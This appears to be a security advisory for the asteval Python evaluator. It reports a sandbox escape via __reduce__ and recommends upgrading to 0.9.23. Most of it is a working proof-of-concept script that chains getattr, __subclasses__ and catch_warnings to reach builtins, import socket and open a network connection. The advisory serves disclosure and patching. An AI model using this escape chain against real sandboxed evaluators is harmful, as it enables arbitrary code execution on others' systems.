Sandbox Escapeasteval is a Safe, minimalistic evaluator of python expression using ast module
Affected versions of this package are vulnerable to Sandbox Escape. It is possible to escape the asteval sandbox using reduce and reduce_ex .
PoC
#!/usr/bin/env python3
# asteval "sandbox" escape PoC
# Ross Bradley
import asteval
user_input = '''
# reduce the asteval.Interpreter._printer function, returning a tuple
red = print.__reduce__()
print(red)
# red[0] == getattr, red[1][0] == asteval.Interpreter instance)
# this is the crux of the issue - access to getattr breaks all security assumptions allowing us to access props we shouldn't be able to
# give them nice names to make the following code a little clearer
getattr = red[0]
inst = red[1][0]
# get the class for the asteval.Interpreter instance
cls = getattr(inst, '__class__')
# get an object instance from the class
obj = getattr(cls, '__base__')
subclasses = getattr(obj, '__subclasses__')
# find the catch_warnings type
cw = [c for c in subclasses() if c.__name__ == 'catch_warnings'][0]
# fetch the reference to builtins from the catch_warnings type
bi = cw()._module.__builtins__
# import socket (wait, what?)
socket = bi['__import__']('socket')
# do socket things
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 1234))
s.send(b'arbitrary code execution')
s.close()
'''
interpreter = asteval.Interpreter()
interpreter.eval(user_input)
How to fix Sandbox Escape? Upgrade asteval to version 0.9.23 or higher.
| |